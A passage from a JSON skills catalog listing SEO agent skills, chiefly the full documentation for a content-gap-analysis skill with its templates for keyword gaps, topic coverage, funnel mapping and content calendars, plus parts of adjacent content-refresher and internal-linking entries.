keywords |\n| Retire | When terminal | 301 redirect to best alternative | Redirect traffic recovery |\n\n## Update Strategy by Content Type\n\n| Content Type | Refresh Frequency | Key Updates | Shelf Life |\n|-------------|-------------------|------------|-----------|\n| Statistics roundups | Every 6 months | Replace old stats, add new sources | 6-12 months |\n| Tool comparisons | Every 3-6 months | Update pricing, features, screenshots | 3-6 months |\n| How-to guides | Annually | Update steps, screenshots, links | 12-18 months |\n| Evergreen guides | Every 12-18 months | Add new sections, update examples | 18-24 months |\n| News/trend content | Don't refresh | Archive or redirect | 1-3 months |\n| Case studies | Rarely | Update results if available | 2-3 years |\n| Glossary/definitions | As needed | Update when definitions evolve | 2-5 years |\n\n## Reference Materials\n\n- [Content Decay Signals](./references/content-decay-signals.md) \u2014 Decay indicators, lifecycle stages, and refresh triggers by content type\n\n## Related Skills\n\n- [content-gap-analysis](../../research/content-gap-analysis/) \u2014 Find what to add\n- [seo-content-writer](../../build/seo-content-writer/) \u2014 Write new sections\n- [geo-content-optimizer](../../build/geo-content-optimizer/) \u2014 Enhance for AI\n- [on-page-seo-auditor](../on-page-seo-auditor/) \u2014 Audit refreshed content\n- [content-quality-auditor](../../cross-cutting/content-quality-auditor/) \u2014 Full 80-item CORE-EEAT audit\n\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/content-refresher/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/aaron-he-zhu/content-refresher/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/aaron-he-zhu/content-refresher/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/aaron-he-zhu/content-refresher/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/content-refresher/SKILL.md", "importedAt": "2026-02-18T19:24:20.990Z"}}}}, {"slug": "clawhub-content-gap-analysis", "name": "Content Gap Analysis", "category": "Analytics", "description": "SEO & GEO Skills Library \u00b7 20 skills for SEO + GEO \u00b7 Install all: npx skills add aaron-he-zhu/seo-geo-claude-skills", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Content Gap Analysis", "slug": "clawhub-content-gap-analysis", "version": "1.0.0", "description": "--- name: content-gap-analysis description: 'Use when the user asks to \"find content gaps\", \"what am I missing\", \"topics to cover\", \"content opportunities\", \"what do competitors write about that I do not\", \"what topics am I missing\", \"topics my competitors cover that I lack\", or \"where are my content blind spots\". Identifies content opportunities by finding topics and keywords your competitors cover that you do not. Reveals untapped content potential and strategic gaps in your content strategy. For broader competitive intelligence, see competitor-analysis. For general keyword discovery, see keyword-research.' license: Apache-2.0 metadata: author: aaron-he-zhu version: \"2.0.0\" geo-relevance: \"medium\" tags: - seo - geo - content gaps - content opportunities - topic analysis - content strategy - competitive content triggers: - \"find content gaps\" - \"what am I missing\" - \"topics to cover\" - \"content opportunities\" - \"what do competitors write about\" - \"untapped topics\" - \"content strategy gaps\" - \"what topics am I missing\" - \"they cover this but I don't\" - \"where are my content blind spots\" ---", "documentation_md": "---\nname: content-gap-analysis\ndescription: 'Use when the user asks to \"find content gaps\", \"what am I missing\", \"topics to cover\", \"content opportunities\", \"what do competitors write about that I do not\", \"what topics am I missing\", \"topics my competitors cover that I lack\", or \"where are my content blind spots\". Identifies content opportunities by finding topics and keywords your competitors cover that you do not. Reveals untapped content potential and strategic gaps in your content strategy. For broader competitive intelligence, see competitor-analysis. For general keyword discovery, see keyword-research.'\nlicense: Apache-2.0\nmetadata:\n author: aaron-he-zhu\n version: \"2.0.0\"\n geo-relevance: \"medium\"\n tags:\n - seo\n - geo\n - content gaps\n - content opportunities\n - topic analysis\n - content strategy\n - competitive content\n triggers:\n - \"find content gaps\"\n - \"what am I missing\"\n - \"topics to cover\"\n - \"content opportunities\"\n - \"what do competitors write about\"\n - \"untapped topics\"\n - \"content strategy gaps\"\n - \"what topics am I missing\"\n - \"they cover this but I don't\"\n - \"where are my content blind spots\"\n---\n\n# Content Gap Analysis\n\n\n> **[SEO & GEO Skills Library](https://skills.sh/aaron-he-zhu/seo-geo-claude-skills)** \u00b7 20 skills for SEO + GEO \u00b7 Install all: `npx skills add aaron-he-zhu/seo-geo-claude-skills`\n\n<details>\n<summary>Browse all 20 skills</summary>\n\n**Research** \u00b7 [keyword-research](../keyword-research/) \u00b7 [competitor-analysis](../competitor-analysis/) \u00b7 [serp-analysis](../serp-analysis/) \u00b7 **content-gap-analysis**\n\n**Build** \u00b7 [seo-content-writer](../../build/seo-content-writer/) \u00b7 [geo-content-optimizer](../../build/geo-content-optimizer/) \u00b7 [meta-tags-optimizer](../../build/meta-tags-optimizer/) \u00b7 [schema-markup-generator](../../build/schema-markup-generator/)\n\n**Optimize** \u00b7 [on-page-seo-auditor](../../optimize/on-page-seo-auditor/) \u00b7 [technical-seo-checker](../../optimize/technical-seo-checker/) \u00b7 [internal-linking-optimizer](../../optimize/internal-linking-optimizer/) \u00b7 [content-refresher](../../optimize/content-refresher/)\n\n**Monitor** \u00b7 [rank-tracker](../../monitor/rank-tracker/) \u00b7 [backlink-analyzer](../../monitor/backlink-analyzer/) \u00b7 [performance-reporter](../../monitor/performance-reporter/) \u00b7 [alert-manager](../../monitor/alert-manager/)\n\n**Cross-cutting** \u00b7 [content-quality-auditor](../../cross-cutting/content-quality-auditor/) \u00b7 [domain-authority-auditor](../../cross-cutting/domain-authority-auditor/) \u00b7 [entity-optimizer](../../cross-cutting/entity-optimizer/) \u00b7 [memory-management](../../cross-cutting/memory-management/)\n\n</details>\n\nThis skill identifies content opportunities by analyzing gaps between your content and competitors'. Find topics you're missing, keywords you could target, and content formats you should create.\n\n## When to Use This Skill\n\n- Planning content strategy and editorial calendar\n- Finding quick-win content opportunities\n- Understanding where competitors outperform you\n- Identifying underserved topics in your niche\n- Expanding into adjacent topic areas\n- Prioritizing content creation efforts\n- Finding GEO opportunities competitors miss\n\n## What This Skill Does\n\n1. **Keyword Gap Analysis**: Finds keywords competitors rank for that you don't\n2. **Topic Coverage Mapping**: Identifies topic areas needing more content\n3. **Content Format Gaps**: Reveals missing content types (videos, tools, guides)\n4. **Audience Need Mapping**: Matches gaps to audience journey stages\n5. **GEO Opportunity Detection**: Finds AI-answerable topics you're missing\n6. **Priority Scoring**: Ranks gaps by impact and effort\n7. **Content Calendar Creation**: Plans gap-filling content schedule\n\n## How to Use\n\n### Basic Gap Analysis\n\n```\nFind content gaps between my site [URL] and [competitor URLs]\n```\n\n```\nWhat content am I missing compared to my top 3 competitors?\n```\n\n### Topic-Specific Analysis\n\n```\nFind content gaps in [topic area] compared to industry leaders\n```\n\n```\nWhat [content type] do competitors have that I don't?\n```\n\n### Audience-Focused\n\n```\nWhat content gaps exist for [audience segment] in my niche?\n```\n\n## Data Sources\n\n> See [CONNECTORS.md](../../CONNECTORS.md) for tool category placeholders.\n\n**With ~~SEO tool + ~~search console + ~~analytics + ~~AI monitor connected:**\nAutomatically pull your site's content inventory from ~~search console and ~~analytics (indexed pages, traffic per page, keywords ranking), competitor content data from ~~SEO tool (ranking keywords, top pages, backlink counts), and AI citation patterns from ~~AI monitor. Keyword overlap analysis and gap identification can be automated.\n\n**With manual data only:**\nAsk the user to provide:\n1. Your site URL and content inventory (list of published content with topics)\n2. Competitor URLs (3-5 sites)\n3. Your current traffic and keyword performance (if available)\n4. Known content strengths and weaknesses\n5. Industry context and business goals\n\nProceed with the full analysis using provided data. Note in the output which metrics are from automated collection vs. user-provided data.\n\n## Instructions\n\nWhen a user requests content gap analysis:\n\n1. **Define Analysis Scope**\n\n Clarify parameters:\n \n ```markdown\n ### Analysis Parameters\n \n **Your Site**: [URL]\n **Competitors to Analyze**: [URLs or \"identify for me\"]\n **Topic Focus**: [specific area or \"all\"]\n **Content Types**: [blogs, guides, tools, videos, or \"all\"]\n **Audience**: [target audience]\n **Business Goals**: [traffic, leads, authority, etc.]\n ```\n\n2. **Audit Your Existing Content**\n\n ```markdown\n ## Your Content Inventory\n \n **Total Indexed Pages**: [X]\n **Content by Type**:\n - Blog posts: [X]\n - Landing pages: [X]\n - Resource pages: [X]\n - Tools/calculators: [X]\n - Case studies: [X]\n \n **Content by Topic Cluster**:\n \n | Topic | Articles | Keywords Ranking | Traffic |\n |-------|----------|------------------|---------|\n | [topic 1] | [X] | [X] | [X] |\n | [topic 2] | [X] | [X] | [X] |\n | [topic 3] | [X] | [X] | [X] |\n \n **Top Performing Content**:\n 1. [Title] - [traffic] visits - [keywords] keywords\n 2. [Title] - [traffic] visits - [keywords] keywords\n 3. [Title] - [traffic] visits - [keywords] keywords\n \n **Content Strengths**:\n - [Strength 1]\n - [Strength 2]\n \n **Content Weaknesses**:\n - [Weakness 1]\n - [Weakness 2]\n ```\n\n3. **Analyze Competitor Content**\n\n ```markdown\n ## Competitor Content Analysis\n \n ### Competitor 1: [Name/URL]\n \n **Content Volume**: [X] pages\n **Monthly Traffic**: [X] visits\n \n **Content Distribution**:\n | Type | Count | Est. Traffic |\n |------|-------|--------------|\n | Blog posts | [X] | [X] |\n | Guides | [X] | [X] |\n | Tools | [X] | [X] |\n | Videos | [X] | [X] |\n \n **Topic Coverage**:\n | Topic | Articles | Your Coverage |\n |-------|----------|---------------|\n | [topic] | [X] | [X or \"None\"] |\n \n **Unique Content They Have**:\n 1. [Content piece] - [traffic] - [why it works]\n 2. [Content piece] - [traffic] - [why it works]\n \n [Repeat for each competitor]\n ```\n\n4. **Identify Keyword Gaps**\n\n ```markdown\n ## Keyword Gap Analysis\n \n ### Keywords Competitors Rank For (You Don't)\n \n **High Priority Gaps** (High volume, achievable difficulty)\n \n | Keyword | Volume | Difficulty | Competitor | Their Position |\n |---------|--------|------------|------------|----------------|\n | [kw 1] | [vol] | [diff] | [comp] | [pos] |\n | [kw 2] | [vol] | [diff] | [comp] | [pos] |\n | [kw 3] | [vol] | [diff] | [comp] | [pos] |\n \n **Quick Win Gaps** (Lower volume, low difficulty)\n \n | Keyword | Volume | Difficulty | Competitor | Their Position |\n |---------|--------|------------|------------|----------------|\n | [kw 1] | [vol] | [diff] | [comp] | [pos] |\n \n **Long-term Gaps** (High volume, high difficulty)\n \n | Keyword | Volume | Difficulty | Competitor | Their Position |\n |---------|--------|------------|------------|----------------|\n | [kw 1] | [vol] | [diff] | [comp] | [pos] |\n \n ### Keyword Overlap Analysis\n \n ```\n Venn Diagram Representation:\n \n You Competitor 1\n \u25cb \u25cb\n / \\ / \\\n / \\ / \\\n / A \\ B / C \\\n / \\ / \\\n \u25cb\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25cb\u2500\u2500\u2500\u2500\u2500\u25cb\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25cb\n Competitor 2\n \n A: Keywords only you rank for: [X]\n B: Overlap with Comp 1: [X]\n C: Keywords all competitors share: [X]\n Gap: Keywords they all have, you don't: [X]\n ```\n \n **Unique Keywords (Your Advantage)**:\n | Keyword | Your Position | Volume |\n |---------|---------------|--------|\n | [kw] | [pos] | [vol] |\n ```\n\n5. **Map Topic Gaps**\n\n ```markdown\n ## Topic Gap Analysis\n \n ### Topic Coverage Comparison\n \n | Topic Area | You | Comp 1 | Comp 2 | Comp 3 | Gap? |\n |------------|-----|--------|--------|--------|------|\n | [Topic 1] | \u2705 [X] | \u2705 [X] | \u2705 [X] | \u2705 [X] | No |\n | [Topic 2] | \u274c 0 | \u2705 [X] | \u2705 [X] | \u2705 [X] | **Yes** |\n | [Topic 3] | \u2705 [X] | \u2705 [X] | \u274c 0 | \u2705 [X] | Partial |\n | [Topic 4] | \u274c 0 | \u2705 [X] | \u2705 [X] | \u274c 0 | **Yes** |\n \n ### Missing Topic Clusters\n \n #### Gap 1: [Topic Area]\n \n **Why it matters**: [Business relevance]\n **Competitor coverage**: [Who covers it and how]\n **Opportunity size**: [Traffic/keyword potential]\n \n **Sub-topics to cover**:\n 1. [Sub-topic] - [X] search volume\n 2. [Sub-topic] - [X] search volume\n 3. [Sub-topic] - [X] search volume\n \n **Recommended approach**:\n - Pillar content: [topic]\n - Cluster articles: [list]\n - Supporting content: [list]\n ```\n\n6. **Identify Content Format Gaps**\n\n ```markdown\n ## Content Format Gap Analysis\n \n ### Format Distribution Comparison\n \n | Format | You | Comp 1 | Comp 2 | Industry Avg |\n |--------|-----|--------|--------|--------------|\n | Long-form guides | [X] | [X] | [X] | [X] |\n | Tutorials | [X] | [X] | [X] | [X] |\n | Comparison posts | [X] | [X] | [X] | [X] |\n | Case studies | [X] | [X] | [X] | [X] |\n | Tools/calculators | [X] | [X] | [X] | [X] |\n | Templates | [X] | [X] | [X] | [X] |\n | Video content | [X] | [X] | [X] | [X] |\n | Infographics | [X] | [X] | [X] | [X] |\n | Original research | [X] | [X] | [X] | [X] |\n \n ### Format Gaps to Fill\n \n #### Gap: [Format Type]\n \n **Current state**: You have [X], competitors average [Y]\n **Best examples**: [Competitor content examples]\n **Opportunity**: [Description]\n **Effort to create**: [Low/Medium/High]\n **Expected impact**: [Low/Medium/High]\n \n **Recommended first project**:\n [Specific content idea]\n ```\n\n7. **Analyze GEO/AI Gaps**\n\n ```markdown\n ## GEO Content Gap Analysis\n \n ### AI-Answerable Topics Assessment\n \n **Topics where competitors get AI citations (you don't)**:\n \n | Topic | AI Cites | Why They're Cited | Your Gap |\n |-------|----------|-------------------|----------|\n | [topic 1] | [Comp] | [reason] | [what you need] |\n | [topic 2] | [Comp] | [reason] | [what you need] |\n \n ### GEO-Optimized Content Gaps\n \n **Missing Q&A Content**:\n | Question | Search Volume | Currently Answered By |\n |----------|---------------|----------------------|\n | [question] | [vol] | [competitor] |\n \n **Missing Definition/Explanation Content**:\n | Term | Search Volume | Best Current Source |\n |------|---------------|---------------------|\n | [term] | [vol] | [source] |\n \n **Missing Comparison Content**:\n | Comparison | Search Volume | Best Current Source |\n |------------|---------------|---------------------|\n | [A vs B] | [vol] | [source] |\n \n ### GEO Opportunity Score\n \n | Topic | Traditional SEO Value | GEO Value | Combined Priority |\n |-------|----------------------|-----------|-------------------|\n | [topic] | [score] | [score] | [priority] |\n ```\n\n8. **Map to Audience Journey**\n\n ```markdown\n ## Audience Journey Gap Analysis\n \n ### Funnel Stage Coverage\n \n | Stage | Your Content | Competitor Avg | Gap |\n |-------|--------------|----------------|-----|\n | Awareness | [X] articles | [X] articles | [+/-X] |\n | Consideration | [X] articles | [X] articles | [+/-X] |\n | Decision | [X] articles | [X] articles | [+/-X] |\n | Retention | [X] articles | [X] articles | [+/-X] |\n \n ### Journey Gap Details\n \n #### Awareness Stage Gaps\n - Missing: [topics/content]\n - Opportunity: [description]\n \n #### Consideration Stage Gaps\n - Missing: [topics/content]\n - Opportunity: [description]\n \n #### Decision Stage Gaps\n - Missing: [topics/content]\n - Opportunity: [description]\n ```\n\n9. **Prioritize and Create Action Plan**\n\n ```markdown\n # Content Gap Analysis Report\n \n ## Executive Summary\n \n **Analysis Date**: [Date]\n **Sites Analyzed**: [Your site] vs [Competitors]\n \n **Key Findings**:\n 1. [Most significant gap]\n 2. [Second significant gap]\n 3. [Third significant gap]\n \n **Total Opportunity**:\n - Keywords gaps identified: [X]\n - Estimated traffic opportunity: [X]/month\n - Quick wins available: [X] pieces\n \n ---\n \n ## Prioritized Gap List\n \n ### Tier 1: Quick Wins (Do Now)\n \n | Content to Create | Target Keyword | Volume | Difficulty | Impact |\n |-------------------|----------------|--------|------------|--------|\n | [Title idea] | [keyword] | [vol] | [diff] | High |\n | [Title idea] | [keyword] | [vol] | [diff] | High |\n \n **Why prioritize**: Low effort, immediate ranking potential\n \n ### Tier 2: Strategic Builds (This Quarter)\n \n | Content to Create | Target Keyword | Volume | Difficulty | Impact |\n |-------------------|----------------|--------|------------|--------|\n | [Title idea] | [keyword] | [vol] | [diff] | High |\n \n **Why prioritize**: High value, requires more resources\n \n ### Tier 3: Long-term Investments (This Year)\n \n | Content to Create | Target Keyword | Volume | Difficulty | Impact |\n |-------------------|----------------|--------|------------|--------|\n | [Title idea] | [keyword] | [vol] | [diff] | High |\n \n **Why prioritize**: Builds authority, competitive differentiator\n \n ---\n \n ## Content Calendar Recommendation\n \n ### Month 1\n | Week | Content | Type | Target Keyword | Status |\n |------|---------|------|----------------|--------|\n | 1 | [Title] | [Type] | [Keyword] | Planned |\n | 2 | [Title] | [Type] | [Keyword] | Planned |\n | 3 | [Title] | [Type] | [Keyword] | Planned |\n | 4 | [Title] | [Type] | [Keyword] | Planned |\n \n ### Month 2\n [Continue...]\n \n ### Month 3\n [Continue...]\n \n ---\n \n ## Success Metrics\n \n Track these to measure gap-filling success:\n \n | Metric | Current | 3-Month Target | 6-Month Target |\n |--------|---------|----------------|----------------|\n | Keyword coverage | [X] | [X] | [X] |\n | Topic clusters complete | [X] | [X] | [X] |\n | Traffic from new content | [X] | [X] | [X] |\n | AI citations | [X] | [X] | [X] |\n ```\n\n## Validation Checkpoints\n\n### Input Validation\n- [ ] Your content inventory is complete or representative sample provided\n- [ ] Competitor URLs identified (minimum 2-3 competitors)\n- [ ] Analysis scope defined (specific topics or comprehensive)\n- [ ] Business goals and priorities clarified\n\n### Output Validation\n- [ ] Every recommendation cites specific data points (not generic advice)\n- [ ] Gap analysis compares like-to-like content (topic clusters to topic clusters)\n- [ ] Priority scoring based on measurable criteria (volume, difficulty, business fit)\n- [ ] Content calendar maps gaps to realistic timeframes\n- [ ] Source of each data point clearly stated (~~SEO tool data, ~~analytics data, ~~AI monitor data, user-provided, or estimated)\n\n## Example\n\n**User**: \"Find content gaps for my SaaS marketing blog compared to HubSpot and Drift\"\n\n**Output**:\n\n```markdown\n# Content Gap Analysis: SaaS Marketing Blog\n\n## Executive Summary\n\nCompared to HubSpot and Drift, your blog has significant gaps in:\n1. **Interactive tools** - They have 15+, you have 0\n2. **Comparison content** - Missing \"[Your Tool] vs [Competitor]\" pages\n3. **GEO-optimized definitions** - No glossary or term definitions\n\nTotal opportunity: ~25,000 monthly visits from 45 keyword gaps\n\n## Top Keyword Gaps\n\n### Quick Wins (Difficulty <40)\n\n| Keyword | Volume | Difficulty | Who Ranks |\n|---------|--------|------------|-----------|\n| saas marketing metrics | 1,200 | 32 | HubSpot #3 |\n| b2b email sequences | 890 | 28 | Drift #5 |\n| saas onboarding emails | 720 | 25 | Neither! |\n| marketing qualified lead definition | 1,800 | 35 | HubSpot #1 |\n\n### Content Format Gaps\n\n**You're missing**:\n- [ ] Interactive ROI calculator (HubSpot gets 15k visits/mo from theirs)\n- [ ] Email template library (Drift's gets 8k visits/mo)\n- [ ] Marketing glossary (HubSpot's definition pages rank for 500+ keywords)\n\n## Recommended Content Calendar\n\n**Week 1**: \"SaaS Marketing Metrics: Complete Guide\" (Quick win)\n**Week 2**: \"What is a Marketing Qualified Lead?\" (GEO opportunity)\n**Week 3**: \"B2B Email Sequence Templates\" (Format gap)\n**Week 4**: \"[Your Tool] vs HubSpot\" (Comparison gap)\n```\n\n## Advanced Analysis\n\n### Competitive Cluster Comparison\n\n```\nCompare our topic cluster coverage for [topic] vs top 5 competitors\n```\n\n### Temporal Gap Analysis\n\n```\nWhat content have competitors published in the last 6 months that we haven't covered?\n```\n\n### Intent-Based Gaps\n\n```\nFind gaps in our [commercial/informational] intent content\n```\n\n## Tips for Success\n\n1. **Focus on actionable gaps** - Not all gaps are worth filling\n2. **Consider your resources** - Prioritize based on ability to execute\n3. **Quality over quantity** - Better to fill 5 gaps well than 20 poorly\n4. **Track what works** - Measure gap-filling success\n5. **Update regularly** - Gaps change as competitors publish\n6. **Include GEO opportunities** - Don't just optimize for traditional search\n\n## Content Audit Comparison Framework\n\n### Content Coverage Matrix\n\nMap content coverage across competitors by topic and format:\n\n| Topic/Theme | Your Content | Competitor A | Competitor B | Gap? | Priority |\n|------------|-------------|-------------|-------------|------|----------|\n| [Topic 1] | Blog post | Blog series, webinar | Nothing | Opp for B | High |\n| [Topic 2] | Nothing | Whitepaper | Blog, video | Gap for you | High |\n| [Topic 3] | Case study | Nothing | Case study | Parity | Low |\n\n### Content Type Coverage Matrix\n\n| Content Format | You | Comp A | Comp B | Comp C | Market Expectation |\n|---------------|-----|--------|--------|--------|-------------------|\n| Blog posts | \u2705 | \u2705 | \u2705 | \u2705 | Table stakes |\n| How-to guides | \u2705 | \u2705 | \u274c | \u2705 | Expected |\n| Video content | \u274c | \u2705 | \u2705 | \u2705 | Growing expectation |\n| Interactive tools | \u274c | \u274c | \u274c | \u2705 | Differentiator |\n| Research/data | \u274c | \u2705 | \u274c | \u274c | High-value linkbait |\n| Templates/downloads | \u2705 | \u274c | \u2705 | \u274c | Lead generation |\n| Podcasts | \u274c | \u274c | \u2705 | \u274c | Emerging |\n| Comparison pages | \u2705 | \u2705 | \u2705 | \u274c | Commercial intent |\n\n## Funnel Stage Gap Analysis\n\n### Content Funnel Mapping\n\n| Funnel Stage | Content Purpose | Expected Formats | Gap Signals |\n|-------------|----------------|-----------------|------------|\n| Awareness | Attract new visitors | Blog, social, video, PR | Low organic traffic, low brand searches |\n| Consideration | Educate and engage | Guides, comparisons, webinars | High bounce rate, low pages/session |\n| Decision | Convert visitors | Case studies, pricing, demos, trials | Low conversion rate |\n| Retention | Keep customers | Help docs, email sequences, community | High churn, low engagement |\n| Advocacy | Turn customers to promoters | Review programs, referral content | Low referral traffic |\n\n## Gap Prioritization Scoring\n\n### Impact x Effort Matrix\n\nScore each gap 1-5 on both dimensions:\n\n| Impact Factor | Weight | How to Assess |\n|--------------|--------|--------------|\n| Search demand | 30% | Keyword volume for gap topic |\n| Competitive density | 25% | How many competitors cover this? |\n| Business relevance | 25% | How close to your core offering? |\n| Funnel stage need | 20% | Which funnel stages are weakest? |\n\n**Priority** = High Impact + Low Effort first\n\n## Reference Materials\n\n- [Gap Analysis Frameworks](./references/gap-analysis-frameworks.md) \u2014 Content audit templates, funnel mapping, and gap prioritization methodologies\n\n## Related Skills\n\n- [keyword-research](../keyword-research/) \u2014 Deep-dive on gap keywords\n- [competitor-analysis](../competitor-analysis/) \u2014 Understand competitor strategies\n- [seo-content-writer](../../build/seo-content-writer/) \u2014 Create gap-filling content\n- [content-refresher](../../optimize/content-refresher/) \u2014 Refresh existing content to fill identified gaps\n- [internal-linking-optimizer](../../optimize/internal-linking-optimizer/) \u2014 Identify and fix internal linking gaps\n- [backlink-analyzer](../../monitor/backlink-analyzer/) \u2014 Analyze link gap opportunities\n- [memory-management](../../cross-cutting/memory-management/) \u2014 Track content gaps over time\n\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/content-gap-analysis/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/aaron-he-zhu/content-gap-analysis/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/aaron-he-zhu/content-gap-analysis/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/aaron-he-zhu/content-gap-analysis/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/content-gap-analysis/SKILL.md", "importedAt": "2026-02-18T19:24:20.985Z"}}}}, {"slug": "clawhub-internal-linking-optimizer", "name": "Internal Linking Optimizer", "category": "Security", "description": "SEO & GEO Skills Library \u00b7 20 skills for SEO + GEO \u00b7 Install all: npx skills add aaron-he-zhu/seo-geo-claude-skills", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Internal Linking Optimizer", "slug": "clawhub-internal-linking-optimizer", "version": "1.0.0", "description": "--- name: internal-linking-optimizer description: 'Use when the user asks to \"fix internal links\", \"improve site architecture\", \"link structure\", \"distribute page authority\", \"internal linking strategy\", \"orphan pages\", \"site architecture is messy\", or \"pages have no links pointing to them\". Analyzes and optimizes internal link structure to improve site architecture, distribute page authority, and help search engines understand content relationships. Creates strategic internal linking plans. For a broader on-page audit, see on-page-seo-auditor. For external link analysis, see backlink-analyzer.' license: Apache-2.0 metadata: author: aaron-he-zhu version: \"2.0.0\" geo-relevance: \"low\" tags: - seo - internal linking - site architecture - link structure - page authority - link equity - content silos - navigation optimization triggers: - \"fix internal links\" - \"improve site architecture\" - \"link structure\" - \"distribute page authority\" - \"internal linking strategy\" - \"site navigation\" - \"link equity\" - \"orphan pages\" - \"site architecture is messy\" - \"pages have no links pointing to them\" ---", "documentation_md": "---\nname: internal-linking-optimizer\ndescription: 'Use when the user asks to \"fix internal links\", \"improve site architecture\", \"link structure\", \"distribute page authority\", \"internal linking strategy\", \"orphan pages\", \"site architecture is messy\", or \"pages have no links pointing to them\". Analyzes and optimizes internal link structure to improve site architecture, distribute page authority, and help search engines understand content relationships. Creates strategic internal linking plans. For a broader on-page audit, see on-page-seo-auditor. For external link analysis, see backlink-analyzer.'\nlicense: Apache-2.0\nmetadata:\n author: aaron-he-zhu\n version: \"2.0.0\"\n geo-relevance: \"low\"\n tags:\n - seo\n - internal linking\n - site architecture\n - link structure\n - page authority\n - link equity\n - content silos\n - navigation optimization\n triggers:\n - \"fix internal links\"\n - \"improve site architecture\"\n - \"link structure\"\n - \"distribute page authority\"\n - \"internal linking strategy\"\n - \"site navigation\"\n - \"link equity\"\n - \"orphan pages\"\n - \"site architecture is messy\"\n - \"pages have no links pointing to them\"\n---\n\n# Internal Linking Optimizer\n\n\n> **[SEO & GEO Skills Library](https://skills.sh/aaron-he-zhu/seo-geo-claude-skills)** \u00b7 20 skills for SEO + GEO \u00b7 Install all: `npx skills add aaron-he-zhu/seo-geo-claude-skills`\n\n<details>\n<summary>Browse all 20 skills</summary>\n\n**Research** \u00b7 [keyword-research](../../research/keyword-research/) \u00b7 [competitor-analysis](../../research/competitor-analysis/) \u00b7 [serp-analysis](../../research/serp-analysis/) \u00b7 [content-gap-analysis](../../research/content-gap-analysis/)\n\n**Build** \u00b7 [seo-content-writer](../../build/seo-content-writer/) \u00b7 [geo-content-optimizer](../../build/geo-content-optimizer/) \u00b7 [meta-tags-optimizer](../../build/meta-tags-optimizer/) \u00b7 [schema-markup-generator](../../build/schema-markup-generator/)\n\n**Optimize** \u00b7 [on-page-seo-auditor](../on-page-seo-auditor/) \u00b7 [technical-seo-checker](../technical-seo-checker/) \u00b7 **internal-linking-optimizer** \u00b7 [content-refresher](../content-refresher/)\n\n**Monitor** \u00b7 [rank-tracker](../../monitor/rank-tracker/) \u00b7 [backlink-analyzer](../../monitor/backlink-analyzer/) \u00b7 [performance-reporter](../../monitor/performance-reporter/) \u00b7 [alert-manager](../../monitor/alert-manager/)\n\n**Cross-cutting** \u00b7 [content-quality-auditor](../../cross-cutting/content-quality-auditor/) \u00b7 [domain-authority-auditor](../../cross-cutting/domain-authority-auditor/) \u00b7 [entity-optimizer](../../cross-cutting/entity-optimizer/) \u00b7 [memory-management](../../cross-cutting/memory-management/)\n\n</details>\n\nThis skill analyzes your site's internal link structure and provides recommendations to improve SEO through strategic internal linking. It helps distribute authority, establish topical relevance, and improve crawlability.\n\n## When to Use This Skill\n\n- Improving site architecture for SEO\n- Distributing authority to important pages\n- Fixing orphan pages with no internal links\n- Creating topic cluster internal link strategies\n- Optimizing anchor text for SEO\n- Recovering pages that have lost rankings\n- Planning internal links for new content\n\n## What This Skill Does\n\n1. **Link Structure Analysis**: Maps current internal linking patterns\n2. **Authority Flow Mapping**: Shows how PageRank flows through site\n3. **Orphan Page Detection**: Finds pages with no internal links\n4. **Anchor Text Optimization**: Improves anchor text diversity\n5. **Topic Cluster Linking**: Creates pillar-cluster link strategies\n6. **Link Opportunity Finding**: Identifies where to add links\n7. **Navigation Optimization**: Improves site-wide link elements\n\n## How to Use\n\n### Analyze Current Structure\n\n```\nAnalyze internal linking structure for [domain/sitemap]\n```\n\n```\nFind internal linking opportunities for [URL]\n```\n\n### Create Linking Strategy\n\n```\nCreate internal linking plan for topic cluster about [topic]\n```\n\n```\nSuggest internal links for this new article: [content/URL]\n```\n\n### Fix Issues\n\n```\nFind orphan pages on [domain]\n```\n\n```\nOptimize anchor text across the site\n```\n\n## Data Sources\n\n> See [CONNECTORS.md](../../CONNECTORS.md) for tool category placeholders.\n\n**With ~~web crawler + ~~analytics connected:**\nClaude can automatically perform a full site crawl via ~~web crawler to map the complete link graph, fetch page performance metrics from ~~analytics to identify high-value pages, and analyze link flow throughout the site. This enables data-driven internal linking strategies.\n\n**With manual data only:**\nAsk the user to provide:\n1. Sitemap URL or list of important pages\n2. Key page URLs that need more internal links\n3. Content categories or topic clusters\n4. Any existing link structure documentation\n\nProceed with the analysis using provided data. Note in the output which findings are from automated crawl vs. manual review.\n\n## Instructions\n\nWhen a user requests internal linking optimization:\n\n1. **Analyze Current Internal Link Structure**\n\n ```markdown\n ## Internal Link Structure Analysis\n \n ### Overview\n \n **Domain**: [domain]\n **Total Pages Analyzed**: [X]\n **Total Internal Links**: [X]\n **Average Links per Page**: [X]\n \n ### Link Distribution\n \n | Links per Page | Page Count | Percentage |\n |----------------|------------|------------|\n | 0 (Orphan) | [X] | [X]% |\n | 1-5 | [X] | [X]% |\n | 6-10 | [X] | [X]% |\n | 11-20 | [X] | [X]% 